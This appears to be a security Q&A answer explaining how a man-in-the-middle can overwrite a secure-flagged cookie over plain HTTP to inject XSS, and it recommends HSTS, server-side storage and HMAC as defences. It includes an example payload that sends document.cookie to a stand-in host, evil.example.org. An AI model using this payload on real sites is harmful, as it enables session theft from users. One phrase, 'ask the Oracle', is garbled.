You would normally be correct, however you cannot protect against this MITM vulnerability even if you use a secure cookie over SSL. This cookie could still be MITM'd to inject XSS.
The pen test report is correct - the fact that the XSS mechanism is a cookie gives rise to the MITM vulnerability. This is because the Same Origin Policy for cookies does not treat different protocols and ports as separate origins:
cookies have scoping mechanisms that are broader and essentially incompatible with same-origin policy rules (e.g., as noted, no ability to restrict cookies to a specific host or protocol) - sometimes undoing some content security compartmentalization mechanisms that would otherwise be possible under DOM rules.
Without the cookie functionality, the XSS vulnerability has gone and so has the MITM vulnerability. I aim to explain below by example.
Say you wrote a safe link to a cookie with the secure flag set such as
<a href="https://www.example.edu/">University Link</a>
The Secure flag will prevent a MITM from reading the cookie value. However, an attacker could MITM any other HTTP connection from the victim to any other site and then insert their own resource reference to your site.
That is, say your victim visits bbc.co.uk
over plain HTTP. The MITM intercepts the HTTP request to bbc.co.uk
and adds a fake JavaScript resource request into the page to your site, example.com
.
<script src="http://example.com/whatever.js"></script>
They would then be able to MITM this request (because it is plain HTTP) and insert a Set-Cookie
header in the response. So they could set the cookie to
<script>new Image().src = 'https://evil.example.org?cookie=' + escape(document.cookie);</script>
to overwrite your secure cookie. Because to the browser the cookie is being set from your domain, it will be readable on both HTTP and HTTPS. When the user next visits your page, this cookie will be read and then rendered to the page as the server has no way of knowing that this cookie was set over HTTP. Even though the secure flag is set on your original cookie, this cookie can overwrite it and as the server only gets the name/value pairs and not the value of the secure flag, it has no way of knowing that this cookie has now been poisoned.
HTTP Strict Transport Security can protect against this as the plain HTTP connection will be automatically converted to HTTPS and then will be immune to MITM so long as the HSTS policy does not expire. Also your site would still be vulnerable before your user accesses your system using their browser, as HSTS will not yet be established for your domain unless you have it in the preloaded list. Additionally, some browsers such as Internet Explorer do not yet support HSTS.
So in short, it would be better to store these links or any text you would want rendered for the user server-side and simply store a secure token within the cookie that can be looked up within your database. This will prevent any XSS attacks using the cookie. Do not encrypt the cookie value, because if there are any ask the Oracle cryptographic flaws in your system this could still leave you vulnerable. A better approach would be to HMAC the HTML code in the cookie with a secret key held server-side, and then check this MAC is correct before any rendering. This will prevent any HTML code that is set outside of your application from being injected.
Also see Security of an initial redirection from http://example.com to https://example.com